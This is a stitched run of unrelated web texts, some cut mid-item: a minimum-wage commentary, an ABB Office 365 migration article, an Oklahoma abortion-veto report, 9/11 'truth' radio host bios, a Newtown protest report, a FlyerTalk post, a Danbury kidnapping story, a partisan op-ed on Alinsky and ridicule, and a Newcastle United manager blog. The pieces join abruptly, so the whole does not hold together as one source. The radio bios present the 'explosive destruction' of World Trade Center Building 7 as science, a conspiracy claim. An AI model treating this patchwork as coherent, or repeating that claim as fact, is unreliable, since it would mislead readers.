The job losses in the study were far greater than in a control group of similar areas in Washington State (where the minimum wage was not raised). Because the study found that low-wage workers lost income as a result of the increase, it was a much more dire assessment of the effects of a minimum-wage increase than even the more pessimistic studies to date.
The authors speculate that this is probably because of the big rise of Seattle’s minimum wage, and because they are looking at the impact on all low-wage jobs, not just specific sectors like restaurants. This point is relevant because a recent study from the University of California, Berkeley, found little impact on restaurant employment in Seattle compared with other similar metro areas.
But it is also possible that the University of Washington results reflect the limitations of studying a single experiment. Seattle, with its tech boom and rapidly rising wages, differs from the rest of Washington in ways that may make such a comparison misleading. I was a co-author of a study this year that also looked at the impact on all low-wage jobs using a similar methodology, but based on more than 100 state-level increases in the minimum wage since 1979. We found quite different results.Andy Tidd has IT responsibilities most technology professionals will never have to tackle. As global CIO and senior vice president of ABB, a power and automation technology company based in Switzerland, Tidd regularly makes decisions that affect more than 140,000 employees in nearly 100 countries.
A little more than a year ago, Tidd completed one of the largest technology deployments of his career by moving 125,000 ABB employees from IBM Notes to Microsoft's Office 365. The IT veteran had handled massive IT projects before, but the move to Office 365 touched the largest number of users in the shortest period of time during his career, Tidd says.
The switch is also a significant win for Microsoft, according to Carlo Spetter, the company's global business manager, who calls it "one of the largest deployments of Office 365 to date." Microsoft won't say how many of Office 365 business customers have more 100,000 employees, but based on Spetter's comment, there likely aren't many.
[Related Feature: How Motorola Solutions (and its 22,000 workers) ditched Microsoft for Google]
Tidd began this journey more than two years ago, when the latest productivity, communication and collaboration tools made it abundantly clear that ABB needed a change, he says. Prior to the move, the company had been using a locally managed version of IBM Notes, along with a collection of voice, video and screen-sharing tools from Cisco and other vendors.
After extensive evaluation, Microsoft gets the nod
ABB, one of the world's largest engineering companies, was anxious to move its staff beyond what was then a simple mobile experience for email. Under Tidd's direction, ABB decided it wanted not only a simpler platform, but also one that kept employees engaged and connected.
ABB researched a variety of on-premises and cloud-based solutions before performing its formal evaluation, according to Tidd. "When we looked at what was available and how the services were developing, the feeling was that we didn't have to hold onto this in-house."
ABB Andy Tidd, ABB CIO
Microsoft received high marks in all areas ABB tested, but it was never a foregone conclusion that Microsoft would get ABB's business. "When we added everything together it was a very close decision," says Tidd. "We had an existing relationship with Microsoft, and we just felt it was a better fit in terms of both functionality and our ability to work with [Microsoft] on an enterprise level."
ABB's (mostly) smooth transition from IBM Notes to Microsoft Office 365
ABB completed the project about six months after its research project began, due in large part to an aggressive plan that moved as many as 5,000 employees to Office 365 per week, according to Tidd. The majority of ABB employees have now used Office 365 for a little more than a year, but until now Microsoft and ABB didn't discuss the project at all after it was first announced in April 2013. (Microsoft and ABB recently reached out to see CIO.com with this exclusive update on the project.)
[Related Opinion: Why Google's enterprise pitch is a confusing mess]
"I was very keen to move as many people out of more commoditized services into areas where they could support the business, and this seemed a good opportunity to do that," Tidd says. The migration went smoother than the CIO expected, the result of vigorous preparation by ABB and Microsoft, according to Tidd.
However, the company hit a few snags while moving data from its existing systems to the equivalents in Office 365. That data transfer to Office 365 required some heavy lifting, but Tidd says the challenge didn't impede the ultimate goal: to ensure employees were happy with the new collaboration and communication tools what would ultimately make them more effective and productive.
"In the early days there were a couple of things where people were getting used to just a different user interface and a different set of functionality, but the benefits of moving far outweighed any of the issues that we hit early on," says Tidd.
"CIOs should know that Office 365 deployments and transitions of this size are not just one-to-one technology replacements, but a fundamental cultural transformation of their organization," Spetter says.
As such, ABB's detailed preparation before the migration was critical, according to Tidd. That preparation entailed "significant training" for employees, including online sessions from Microsoft, as well as local workshops designed to familiarize employees with Office 365 features. ABB also maintained an open line of communication with Microsoft to answer specific questions from employees.
Looking back on the project, Tidd encourages his colleagues in IT not to fear the unknown or assume that all technology migrations will cause heart palpitations. "Even though we went into this to open up the collaboration and to provide a better user experience, I've just been pleasantly surprised at how good it's been for our users," he says.
Office 365 unlocks power in employee connections
The company's employees can now make more meaningful connections with colleagues and coworkers, which is "extremely important," Tidd says. Yammer, which lets workers find colleagues and see if they're available, and then start conversations, is particularly popular among ABB's employees, according to Tidd.
The ABB engineering teams today collaborate more and frequently seek advice from colleagues located in other countries, he says. Employees can now pull together virtual teams and work on particular projects or R&D tasks. Engineers and other technical talent frequently check in with these virtual teams, as well, according to Tidd.
"That kind of extended workflow — we simply couldn't work in that way before, so it's been a great step forward," he says. "Before, it was all a case of who you knew and who you're able to connect with, and all of a sudden the power of the connection has gone to another level."Governor Mary Fallin of Oklahoma on Friday vetoed a highly contentious proposal to all but ban abortion in the state. The vetoed bill would have made it a criminal felony punishable by three years in prison for any doctor to perform an abortion.
Oklahoma legislators pass near-total abortion ban that criminalizes providers Read more
Fallin, a Republican who has signed 18 anti-abortion measures, cited the fact that the bill was vague and likely to be struck down in court.
For a governor widely considered to be under consideration as Donald Trump’s vice-presidential pick, the veto represents a rare break from her state party. The measure passed the statehouse on Thursday with broad support from Fallin’s party, but several Republicans nevertheless voted against the bill or abstained.
Reproductive rights groups decried the bill as unprecedented and dangerous, and even local, neutral groups, such as the Oklahoma state medical association, aired deep concerns. The bill made an exception only when the mother’s life was in danger, but as Fallin noted on Friday, its language was vague on what constituted a life-threatening situation.
Fallin had until five days after the bill’s passage to sign or veto it, or it would have automatically become law.
There are just two abortion clinics in Oklahoma – one in Tulsa and one in Norman, a suburb of Oklahoma City. A third is slated to open in Oklahoma City this summer.
Immediately after the bill passed the statehouse on Thursday, abortion rights groups warned that the measure was patently unconstitutional and doomed in the event of a court fight.
“This law doesn’t really have a chance of standing up in court because it’s so clearly been established by the supreme court time and time again that every woman has a fundamental right to abortion,” said Genevieve Scott, a staff attorney for the New York-based Center for Reproductive Rights.
Facebook Twitter Pinterest A woman stands with other members of Bound 4 Life, an anti-abortion group, at the state capitol in Oklahoma City. Photograph: Sue Ogrocki/AP
Scott said the center has taken Oklahoma to court eight times in five years over abortion laws it considers unconstitutional, including a law that requires women to wait 72 hours between their initial appointment with an abortion provider and the procedure itself. It has won every case that has been permanently resolved.
“Governor Fallin did the right thing today in vetoing this utterly unconstitutional and dangerous bill,” said Nancy Northup, president and chief executive of |
an entire two weeks in 2012. He has also been involved with founding and organizing the ReThink911 global campaign which has raised hundreds of thousands of dollars and has educated tens of millions of people around the world about the science of the explosive destruction of World Trade Center Buidling 7.
For more information about Quantum Matrix Radio and co-hosts Pamela Senzee and David R. Meiswinkle go to www.quantummatrixradio.com The intro music for Quantum Matrix Radio is provided by Captain Squeegee (as well as the exit music for this broadcast). www.ae911truth.org www.youtube.com/user/ae911truth www.captainsqueegee.com About the Show Hosts:
Pamela Senzee is a mural and fine artist, an author, and adventurer. In 2012 she crossed the United States by bicycle along with a fellow peace activist. They embarked on this journey on behalf of the organization Architects and Engineers for 9/11 Truth. Pamela wrote about her experiences, lessons and insights during this epic adventure in her book Quantum Trek – a post-9/11 journey of transformation. David R. Meiswinkle is the President and Founder of New Jersey 911 Aware. He is a retired New Brunswick police officer and a United States Army veteran., and presently a criminal defense attorney. David was the founder of the New Brunswick Reporter. His activism and articles outlining local municipal corruption brought the federal authorities to New Brunswick which led to major investigations and the arrest, indictment, and conviction of prominent local political figures. David served as the Secretary of the New Jersey Reform Party, and was an independent candidate for Governor against Chris Christie in 2009 and ran for a congressional seat against Chris Smith in 2010. He holds a B.A. from Rutgers College, a M.A. from New York University, and a J.D. from Seton Hall University Law School. *Archives of Pam and David’s previous show Satyagraha 9/11 Radio can be listened to NoLiesRadio and at satyagraha911.org.Keep Newtown Weird, protesters demand in rally over safety issues in Sydney nightspot
Updated
Hundreds of people have marched down the main street of Newtown, in Sydney's inner-west, in protest against what they say is a rise in homophobic and transphobic violence in the suburb.
The Keep Newtown Weird and Safe protest, numbering about 500 people, believe there has been an influx of troublemakers since the lock-out laws were introduced in other parts of the city, and that Newtown's alternative vibe is consequently being targeted.
They also sought to show their support for 25-year-old Isaac Keatinge, who was bashed last month on the streets of Newtown while wearing a dress.
He was walking from a house on Forbes Street towards King Street at about 12:15am on a Sunday earlier this month when he was confronted by a group of men who made homophobic remarks. They assaulted him and he required 15 stitches to his head as a result.
Mr Keatinge was at Saturday's march and told the ABC he was overwhelmed by the support and "super touched".
"It's amazing to feel this support and to feel that it's a shared experience, one that people want to have a dialogue about."
He said he has been doing really well since the attack and had stayed with family to get some rest.
"I certainly haven't let it stop me from getting out and about; you can't."
He said he hoped that the protest would encourage people to be more accepting of each other and to try to understand why people want to express themselves in different ways.
Marchers were asked to come dressed in their weirdest and wildest outfits.
Ivan Crozier, a member of the Reclaim the Streets Collective, which organised the protest, said there had been an increase in homophobic and transphobic violence in Newtown since the lockout laws were introduced.
"We're aiming to raise awareness of violence in society in general, to think some of the causes for it... and to think about other systemic issues about increases in violence in society," Mr Crozier said.
"Lots of people have reported an increase in personal violence [like] being yelled at outside of car windows.
"And of course there have been a couple of major incidents, which have been reported, there was Isaac Keatinge, a couple of weeks ago, who was beaten up and Stephanie MacCarthy before that.
"So we're trying to raise awareness about this, to protest this happening against the LGBTI community and to turn something negative into something positive by putting on a dance party and encouraging people to dress how they want."
He said while statistics may not say violence has increased anywhere accept for Star City Casino since the lockout laws were introduced, many people he knew no longer felt safe in Newtown, which was once a safe haven for the LGBTI community.
"People get pushed in the street, they're not necessarily going to go down and talk to the police about it.
"I've got friends who feel significantly less safe on the street, friends who are drag performers when they're coming home from the 3:00am closing times, they have to go out to the streets in the dark.
"There's a noticeable increase in violence — either symbolic violence, or verbal violence, or actual physical violence."
Fellow organiser Sharky said the name of the protest reflected the diversity of the Newtown community.
"Diversity means that everyone is not normal, we're weird and we're very proud of that," she said.
"And to ensure that people can still be diverse and weird, we need to provide a safe environment for that diversity to be expressed."
Topics: activism-and-lobbying, government-and-politics, newtown-2042
First postedHas anyone been able to get an AU card and then register that card for Priority Pass without actually activating the AU's Amex?I know from this thread ( http://www.flyertalk.com/forum/ameri...-no-ssn-2.html ) plus previous experience that I do not need to provide an SSN for the AU, but it appears that one may be necessary to activate the charge card.Basically, I'm travelling with friends and would like to get PP cards for one of them for this trip. Costs me nothing extra as I already have two AU cards for Mrs. Lee and Mama Lee, so Friend of Lee would just be using the third.But, Friend of Lee won't actually be using the charge card for anything other than a means to get a PP. Won't even be using it for DL SCs, Cent Lounges, etc., and certainly not purchases.Cops: Danbury man mistaken as homeless gets kidnapped
David Pope, 57, of Lincoln Avenue, Danbury, is facing multiple charges after police said he kidnapped a man he mistook for a homeless person Wednesday, Aug. 26. David Pope, 57, of Lincoln Avenue, Danbury, is facing multiple charges after police said he kidnapped a man he mistook for a homeless person Wednesday, Aug. 26. Photo: Contributed / Danbury Police Department Photo: Contributed / Danbury Police Department Image 1 of / 1 Caption Close Cops: Danbury man mistaken as homeless gets kidnapped 1 / 1 Back to Gallery
DANBURY — A 77-year-old man was pushing a carriage of cans and bottles down Lincoln Avenue Wednesday evening when he was kidnapped by a man who reportedly mistook him for a homeless person, police said.
The suspect, David Pope, grabbed the man by his arm and escorted him to his house, where the evening turned even more bizarre, according to police. The victim was first bitten in the leg by Pope’s dog, a Staffordshire terrier, and he was then given something to eat, police said.
Although the bite broke the man’s skin, Pope continued to cut meat and feed his victim, according to the report. The victim told police he accepted the food because he “was afraid for his life and afraid the dog would bite him again,” Lt. Christian Carroccio said.
The victim, who lives on West Wooster Street, was eventually able to leave the house without Pope seeing him, and he called police when he got home, according to the report.
When officers went to speak with Pope, he refused to put his dog away, Carroccio said. The suspect, who seemed intoxicated, was eventually taken into custody.
He told police he thought the man was homeless and was offering him food, Carroccio said.
Pope was charged with second-degree kidnapping, second-degree reckless endangerment, interfering with an officer and disorderly conduct. He was held on a $500 bond and was scheduled to appear in Danbury Superior Court on Thursday.The fourth rule of tactics: Make the enemy live up to their own book of rules. You can kill them with this, for they can no more obey their own rules than the Christian church can live up to Christianity.
The fourth rule carries within it the fifth rule: Ridicule is man's most potent weapon. It is almost impossible to counterattack ridicule. Also it infuriates the opposition, who then react to your advantage. - Saul Alinsky; Rules for Radicals; 1971; p. 128
Now, I'm not certain whether Bill O'Reilly is pulling our leg here, as he ruminates over whether the politics of ridicule being employed nearly nonstop by our new President's administration is intentional or not. O'Reilly seems way too smart to think that a whole staff of folks just somehow have Alinsky-styled ridicule down pat, polished to a perfect t, with every "i" dotted, as though they all popped yesterday from a political Big Bang.
Nevertheless, I've been working for the past year on solid methods to defeat this politics of ridicule - the tactics advocated by Saul Alinsky to every 60s radical that ever burned a draft card or a bra, or vowed to smash monogamy or made a nail bomb. These are the tactics that laid the foundation for the vast Alinsky-originated community organizations from coast to coast. Although some may think of Obama's movement and his victorious administration in terms of a political Big Bang, there is a much more design paradigm, which I prefer.
I'm of the old skeptic school myself, generally believing that whenever something looks too good to be true, it most likely is. And that whenever something appears orchestrated and perfected among many, there is a plan at work behind the scenes.
It was Barack Obama himself, not I, nor anyone else, who claimed -- often -- that his community organizing with the Alinsky-designed DCP in Chicago was the "best education" he ever had. It was Barack Obama who touted his work with ACORN's Project Vote. It was Barack Obama himself who taught Alinsky Power Tactics at the University of Chicago. And it has been Barack Obama himself, who adopted whole-hog Alinsky's "Ideology of Change" and all of its slogans.
When Michelle Obama gave her speech at the Democratic National Convention last August, she used a direct Alinsky quote, saying that hearing Barack speak of changing "the world as it is" into the "world as it should be," were the magic words that so endeared him to her.
"What follows is for those who want to change the world from what it is to what they believe it should be."
- Saul Alinsky; Rules for Radicals; p. 3.
Case closed. The politics of ridicule, which have infected our national discourse for the past 40 years were designed by admirer of Lucifer, hijacker of Christian jargon for power purpose, ends-justify-all-means father of community organizing, Saul Alinsky. Barack Obama's best education came from him, not Harvard. And this Administration daily employs Alinsky Ridicule on steroids.
Day in, day out, 24/7, the American people are treated to bully, gang-style ridicule. Most of it aimed at conservatives and the GOP, of course, for now.
But make no mistake: anyone who stands in defiance of this Administration's policies will be ridiculed without mercy.
How Ridicule Works
"Sticks and stones may break my bones, but words will never hurt me."
Saying taught by wise mothers to kindergartners
Yes, it's a pretty darned sad sight when grown men and women indulge in playground bully tactics that are as old as the hills. That's all ridicule is. It's the thing a bully and his little gang of half-witted followers use to get their way without ever having to actually throw a real punch. And wise mothers have been teaching their smart kids how to defeat this low-blow tactic for eons.
But to defeat the tactic of ridicule, it's helpful to remember how it works.
The bully's intention, of course, is to get a rise or a bucket of tears out of his victim. The bully's intention, whether on a playground or in an older gang, is always the same. Taunt the victim until he finally cracks and explodes with anger or throws the first punch, and then sit back and watch the self-destruction. Goad the target with taunts, which are intentionally aimed at the victim's soft spots.
The bully listens and watches carefully. He's trained himself to spot weakness, to search out his victim's vulnerabilities.
At the playground age, vulnerabilities tend to be physical anomalies. In adolescence, bullies move towards picking out weaknesses in sexual appeal. In adulthood, they move towards the things Alinsky talks about in his books, a person's moral code or a group's racial makeup or the age-old standby, a group's religion.
But as Alinsky notes himself, ridicule alone is a losing game. It isn't the ridicule that rises victorious in a political war. No, that's just the temptation put out on the table, exactly the way tempters have done it since that little episode in the ancient Garden.
The key to defeating any tempter, whether on a playground or on a political stage, is simple. Do not take the bait. No matter how much one is goaded and bullied and laughed at and ridiculed, the only answer to the temptation is to refuse it.
Alinsky made a living off his own background as an unattractive, smaller-than-average child, forced to bear the brunt of neighborhood bullies. Sanford D. Horwitt, Alinsky's biographer, spends dozens of pages describing young Saul's difficult childhood, where he was a veritable outcast. What made his own shortcomings even more potent fodder for the bully class was the fact that his father had left his mother and wasn't there to help the little boy figure out how to be a man of strong character. Even worse than this was the fact that his mother was an in-your-face, overbearing shrew of a woman that struck fear into the hearts of everyone in her vicinity.
Horwitt relates how young Saul's mother would keep an eye on her little boy -- the chubby, not-great-to-look-at kid without a Dad in residence -- as he played with neighborhood kids in the street. Whenever the group would light into Saul, his mother would raise the window and scream at the other children, always rushing to his defense, and inevitably crushing his own power to save himself. Alinsky's mother had such a vicious mouth that she struck fear in the hearts of even the adults in the neighborhood.
And Saul absorbed these awful childhood lessons, quite to America's detriment. Powerless to protect himself from ridicule, seeing his mother's inflamed response, which only served to heighten his tormenters' resolve, he internalized what he later described in Rules for Radicals as "man's most potent weapon," ridicule.
What is the key to ridicule's success, according to Alinsky?
"...it infuriates the opposition, who then react to your advantage."
As he witnessed his mother's infuriated response to the bullies attacking him, he became the observant bystander. What did he see?
Act I: Bullies gang up on Saul and taunt him for being short, chubby, not athletic, whatever.
Act II: Mother takes the bait and gets into the game, screaming at the boys for hurting little Saul.
Act III: The boys react to Mother from the safety of the street and the protection of their numbers, by intensifying the bully tactics.
Act IV: Mother becomes so infuriated and out of control that she finally screams threats and near-obscenities at the little boys, who have just magnificently played the adult for a real fool. Mother is in complete disarray; the boys stroll off down the street laughing victoriously.
Saul Alinsky later used this very play for the foundation of his politics of ridicule, specifying that the strength is not in the ridicule. The strength of ridicule is always, every single time, the "enemy's reaction."
In his childhood play, Mother was the enemy engaged by the ridiculing youth. As soon as the children gathered and began taunting little Saul, Mother appeared at the window like clockwork. Mother's reaction emboldened and added great worth to the bullies. They got to see her emotional meltdown every single time.
"The enemy properly goaded and guided in his reaction will be your major strength," wrote Saul Alinsky in his own middle-age.
Defeating Ridicule Is As Simple as 2 + 2
When the Democratic Party is employing an age-old playground tactic, perfected in adolescence, the key to stopping it is easy as pie.
This ain't hard, folks. Every real grown-up learned this in grade school.
Whether dressed in Armani or playground garb, ridicule is child's play.
I suppose that when overgrown adolescents, who're all in adult bodies, use it, though, it does throw the normal adult a curve. It's the kind of behavior with which adults have grown rusty at coping. Nevertheless, ridicule in adult politics should never, ever be allowed to triumph, as it is now.
The temptation to jump into the fray with both feet in one's mouth is certainly understandable, but is not advisable.
Here is my 3-step formula for stopping ridicule in its tracks. I have tried this with great success with every over-grown adolescent I've encountered. It works especially well with my liberal friends, most of whom are now conservative converts.
Step One: Properly recognize the ridicule tactic when it is employed.
The most easily-spotted ridicule tactic is name calling. "You're a disgusting homophobe." "You're a racist." "You're an idiot." "You're a poor-people-hating rich person." "You're a homophobe."
The second most easily-spotted ridicule tactic is what psychologists call, "projection." The ridiculer assumes that you, his rhetorical enemy, possess the same moral code as he and that you have the same defects as he does. Since human nature never changes, and there simply are no new sins, some of what the projecting opponent spouts may ring true, and this is the bait. If a person says something like, "Your side lies," odds are that he is right, at least to a certain extent. I've yet to meet a person who would swear that he has never told a single lie.
But this is a potent trap. It's a generality without specifics and it distracts from the real issue at hand. The intended victim, recognizing a grain of truth in the projector's argument, becomes defensive, which delights the ridiculer.
Step Two: No matter how sweet-sounding, how cutesy humorous or how viciously personal the ridicule, the intended victim's victory is in refusing to take the bait.
Ridicule is stopped in its tracks by the strong-willed, wise person, who simply ignores it and moves the debate to the higher ground where real adults discuss matters of importance. Reason trumps ridicule every single time.
If the ridicule is especially deleterious, then it is possible to retort, "Now, why do you want to be this vicious? Why can't we talk about this like real grown-ups?"
It helps to sound especially sweet when saying this; think Scarlet O'Hara.
Actually, though, I can see John Wayne saying something similar without the batting eyelashes.
Real strength has no need to stoop to nastiness. Ever.
Step 3: In political debate, the expert ridiculer is constantly attempting to draw his opponent into a defensive posture on the ridiculer's ground. It's a rhetorical trick, a sleight of hand performed with one's mouth.
And the way to defeat it lies not in defensive statements that attempt to argue the point raised by the ridiculer. Defensive statements, trying to refute the ridiculer's taunt, simply reinforce his claim.
Ridicule should disgrace its perpetrator, not you. And the object is to do exactly that. Do not take the bait. Ignore it completely, give a knowing little laugh if you like, but move back up to your own ground of reason immediately.
At all costs, remain calm; ridicule is an emotional tactic aimed at causing you to replace reason with uncontrolled passion. But use powerful language of courage. There is absolutely nothing to be gained by giving the proverbial inch in your argument as you prepare to give up the mile, which will be goaded out of you next.
It's possible to deflect ridicule with a reverse taunt, perfectly aimed, such as, "Now, you know that's a pile of poppycock." But reverse taunts must be delivered with delicate care to diffuse emotions with geniality, not enflame them.
Every single time a conservative takes any of this intentionally inflammatory bait and attempts to defend against it, the ridicule simply becomes more intense. Why? Because as the father of political ridicule Saul Alinsky explained himself, the strength lies not in the ridicule, but in "the enemy's reaction." The goal is to make you lose your cool and self-destruct.
Of course, these are the same kinds of tactics employed by the precocious child against his parents, whenever he wants something they will not give him. If that thing is the $500 pair of Wacky-brand-of-the-month athletic shoes, then the parent is assailed as a stingy tightwad who does not love his own child as much as all the other parents love their children. If that thing is a later curfew, then the parent is assailed as the most old-fashioned, untrusting, stick-in-the-mud tyrant that ever gave birth to offspring.
These tacky little tricks are as old as the hills and twice as predictable.
And the adult who gives airtime to adolescent ridicule is the fool that tops all others.
The keys to victory:
Refuse the temptation to defend yourself; defense takes the bait.
Remain calm and in control of all emotions.
Laugh-off the ridiculer's attempt at goading.
Speak the truth of your own convictions with courage, boldness and forthright frankness.
If, and when, you do change your mind about some issue, then put it out there in candid fashion, outlining the precise reasons behind your change in position.
But never, ever, ever, ever, ever give an inch to the devilish lure of ridicule.
As Democrats have become the Party of Pernicious Ridicule, the GOP must be the ever-stalwart Party of Reason.
Reason resonates in the minds of men and women; ridicule is child's play.We on Talk of the Tyne like to share decent blogs from time to time and give the platform that they may not get or deserve.
Here’s @nufckeithr (on Twitter) with his latest piece on potential replacements that we could attract if Mike Ashley dumps his mate, Pardew.
Apologies in advance for the length of this article. It’s necessary to put something to bed. The ever present and annoying questions of ‘who could we get?’… ‘who’d work under Ashley’… ‘who’d work with our financial model?’… ‘gimme a name’… and so on.
For those that want a name, here’s a bunch. Take your time and read through them, then let the above questions in weak response to those that call for a change in management be put to rest forever. It’s time to admit defeat on all fronts. You’ve backed the wrong horse.
I don’t mean to offend and credit anyone who has a well thought out argument to keep Pardew, with logic, substance, and facts to back it up, as much to match the weight of the argument against him. I don’t think that’s possible at this stage, but anyway….
For those whose argument is simply ‘who could we get?’ and ‘name someone’, this is for you….
Frank De Boer
Given his record to date and widespread opinion that a job at a major Champions League club is in his future, Frank De Boer would be one of the less attainable in this list. That said, the reason for inclusion is to show how common our club structure is, even at relatively big European clubs.
Ajax have spent £27m in the last four seasons on players. In the same time, have recouped 88m in player sales, a net spend of minus 61m. They constantly sell big players and buy young potential or promote from their academy. De Boer has never had an issue with this.
As for his record in comparison to our current manager, he has a career win percentage of 62% in comparison to Pardews 41%. He only loses 18% of games, whereas Pardew loses double that. He has also won three top division titles and looks on course for his fourth in a row.
De Boer is the probably the highest rated of a host of young coaches better than Pardew. As I said, he is probably a bit out of our league considering the reported interest, but then again, most would have said Bielsa would be and he looks like going to Marseille, who are 6th in Ligue 1.
Jorge Jesus
Jesus, as most Newcastle fans will know as the man who knocked us out of the Europa League last season, is another who may be seen as unattainable. I wouldn’t be so sure. The Premier League is a big draw and he’s probably slightly out of the bracket to get a top job in England.
His record, much like De Boer, only with far more years experience, speaks for itself. He also boasts a career win percentage of 62% and has one Portuguese League title to his name, as well as three domestic cups, is a Europa League runner up and is in the semi final again this year.
Again, regarding transfers, although he’s on of very few on the list that has actually spent more on players than Alan Pardew over the last four years, Benfica are the ultimate example of a self-sufficient approach, spending £120m, but making a whopping £218m from sales.
Could we actually get someone like Jorge Jesus? It’s unlikely, but not impossible. More so included as an example of what we could and maybe should aim for, if we really want to progress. Chances are, we won’t aim that high if we are to replace Pardew, so plenty more options to come.
Vitor Pereira
Known in youtube land for his outburst at his clubs PR man who tried to dictate his press conference answers, Pereira is seen as an extremely promising coach. Despite being only 45, he has been in coaching since he was 29, having big club and European experience in that time.
Pereira, like De Boer, boast a career loss record of only 18%, the lowest of any in this list. He was the assistant manager of Andre Villas-Boas at Porto and stepped into the main role once Andre went to Chelsea, winning the Premeira Liga two years running.
In the summer following his 2nd Portuguese title, he chose to move on, initially being one of those interviewed for the Everton job. In a somewhat strange move, once the position was filled by Roberto Martinez, Pereira moved to Saudi League with Al-Ahli.
There’s no reason why Pereira wouldn’t be attainable if approached. Despite his previous major club experience, he has shown as recently as last summer that he’d be interested in a Premier League job and has no real issue with a club with limited resources.
Paulo Bento
Current Portugal national team manager, Paulo Bento, would obviously not be available until after the World Cup, but could obviously be approached beforehand and is another young promising manager with a strong record, winning 57% of games and only losing 19% in his career to date.
Bento started at Sporting Lisbon, taking over mid-season after they’d struggled and went on a run that included ten consecutive wins to finish in 2nd behind Porto, in doing so, qualified for the Champions League, made more impressive by it being done on very limited resources.
He followed this up with domestic consistency, maintaining their position for the next two seasons in the league, which brought three Champions League qualifications running, a first in the clubs history. As well as this, he won two domestic cups in his four years at the club.
Whilst in the Portugal job, he has led them to a semi final of the European Championships in 2012, losing to Spain on penalties, and after finishing 2nd in the World Cup qualifying group, a point behind Russia, beat Sweden in the playoffs to qualify for this summers tournament.
Ronald Koeman
Rather than rehashing information from a previous article, I will simply put the link to some detailed information on Koeman. Although not at the top of who I’d ideally want, he’s very promising, out of contract in summer, attainable, and worked under massive financial restrictions.
http://keithrnufc.wix.com/internetpresentation/apps/blog/another-example-of-many
Remi Garde
Remi Garde, current manager of Lyon, is an interesting one. Fairly new to management, only taking the reigns at Lyon in 2011, he finished in 4th and 3rd respectively in his first two seasons and has them currently sitting in 5th, a couple of points from European spots.
With the 3rd place finish last year, Lyon were unlucky to draw and be knocked out by Real Sociedad in the Champions League qualifiers, so entered the Europa League this season, only recently being eliminated by Juventus at the Quarter Final stage of the competition.
Garde has other experience outside management with Lyon, being at one time considered for the DoF role at Arsenal, but taking on a similar role at Lyon before becoming manager. This probably gives him a good understanding of board level at a similarly structured setup to ours.
Lyon, despite the notion of being a big enough club, have only spent £40m in the last four years, £26m less than Newcastle have in the same time, but have also made approx. £77m from player sales, making it a net spend of minus £37m in comparison to our minus £20m.
As someone that has stopped watching Ligue 1 regularly as of a couple of years ago, my first hand knowledge of Garde is fairly limited. What I do know is there are a number of players at Lyon that have progressed under him and are now sought after, some of them by us.
Remi Garde has also been linked on and off with Arsenal over the past year or two, said to be talented enough to take over from Wenger, but with the investment hike of Arsenal of late, I doubt Wenger will leave just yet and Ligue 1 is pretty much a one to two horse race now.
Roger Schmidt
The current Red Bull Salzburg coach is another I know a limited amount about, but through someone I know, was told to watch a player of theirs, Kevin Kampl. what I discovered watching them on numerous occasions this season was not only a very talented player, but great team to watch.
This is what has attracted me to Roger Schmidt as a potential candidate for the Newcastle job, if of course we can ever get shot of Pardew. I don’t know how to do it justice without seeing it for yourself, but Salzburg are like a Kevin Keegan side on some serious drugs.
They score on average three goals per game, albeit in a weak enough domestic league, but that said, have rolled over sides in the Europa League this season, before eventually losing out to the tried and tested European veterans FC Basel. Murat Yakin is another coach worth a mention.
Despite the investment of Red Bull, Salzburg have spent just £33m over four years assembling this team and they are full of technique, flair, and pace. Schmidt would obviously be a largely unproven risk, but if we were going to go down that route, he will definitely bring bums off seats football.
Lucien Favre
The current manager of Borussia Moenchengladbach has built his reputation no end in Germany over the past few years, being seen as the hero that brought the club from obscurity back into contention with a sharp tactical mind and unorthodox system that has worked wonders for them.
Many Newcastle fans will know him best as the coach who barely played Luuk De Jong for well over a year and despite him looking half decent in his first couple of games for us, I think most are starting to see that Favre may well have had a point not playing him. Maybe a bit harsh.
Anyway, Favre made his name in Switzerland, winning domestic cups with both Servette and Zurich, before moving to Hertha BSC. His first season was a resounding success, leading them to 4th in the Bundesliga on as limited a budget as they come.
In the following season, financial meltdown affected the club throughout, under-performing and losing major players. Favre eventually left too and moved onto Moenchengladbach in 2011, saving them from relegation and following it up with a 4th place finish and Champions League qualification.
After under-achieving somewhat last season, Favre has them back in the European spots now. He would be seen as attainable and a very smart move for a league, even more so a club, that needs someone with fresh ideas to reinvigorate a talented squad we’re not seeing the best of.
Murat Yakin
Yakin was a big part of the FC Basel side that caught the attention in European competition and has continued that trend as manager, only this season leading them to two wins over the Chelsea side of European mastermind, Jose Mourinho, in the group stages.
Their eventual exit from the Champions League meant drawing the aforementioned all-out attacking threat of Salzburg in the Europa League, and having watched the 2nd leg, have no idea how he turned that one around after his team got almost blown away by the start Salzburg made.
They were away, 0-0 on aggregate, got a man sent off after only nine minutes and went behind after 22mins, but somehow managed to come back to win 2-1. He followed it up with a 3-0 win against Valencia, but with two men sent off early in the 2nd leg, fell apart and lost the tie.
The reason I mentioned these games is simply because I don’t know too much about him. What I do know is he is rated by some big managers and is doing an impressive job with a real injury crisis and very limited spending, especially to compete as he has against top European opposition.
Basel have spent only £22m over the last four years, again being another who hit the minus column for net spend more than Newcastle, with over £52m being sold off in the same period. An unproven risk? Maybe, but again, if we to go down that route, he’s rated and attainable.
Unai Emery
Again, someone I have recently written a more detailed article on, so will simply leave the link below for anyone who fancies reading about him. Like Koeman, attainable and over-achieved despite massive financial restrictions at two different clubs, so not deterred by self-sufficient setup.
http://keithrnufc.wix.com/internetpresentation/apps/blog/one-example-of-many
Rene Girard
Girard is always a name that gets mentioned when fans of French football are asked about a potential replacement for Pardew. Again, I don’t watch Ligue 1 regularly, so am going off what I have read more than what I have seen of late, bar a couple of performances checking out Remy Cabella.
One thing that immediately puts a big tick in the plus column for Girard is actually winning Ligue 1 a couple of seasons ago against all the odds and again, on a limited budget. There’s no question that was some achievement with Montpellier and something that couldn’t be replicated.
They inevitably fell from grace to an extent in 2012/13, finishing 9th, but sold off a fair few of the big players that got them to that position in the first place. Montpellier spent a mere £16m in his four years at the club, while selling off £34m worht of talent in the same time.
Girard moved on to Lille this season and has brought them back into the European places, currently sitting comfortably in 3rd. Lille are another who make well more than they spend, buying £47m worth of talent over four years, but £130m worth of player sales. We’re a dream in comparison.
Rene Girard is vastly experienced, coaching for over twenty years now at various levels, including all stages of the French national team at youth level. His Ligue 1 title is a big selling point and he could be tempted by a move to the Premier League, but whether he’d leave Lille so soon, I doubt.
Thomas Tuchel
This is the one I’ve been looking forward to, at the same time dreading. In an already exhaustive article, I could write twice the amount on this coach alone. If it was me in charge, I would throw the kitchen sink, Kath, and her teapot, at getting Tuchel to Newcastle. He is the real deal.
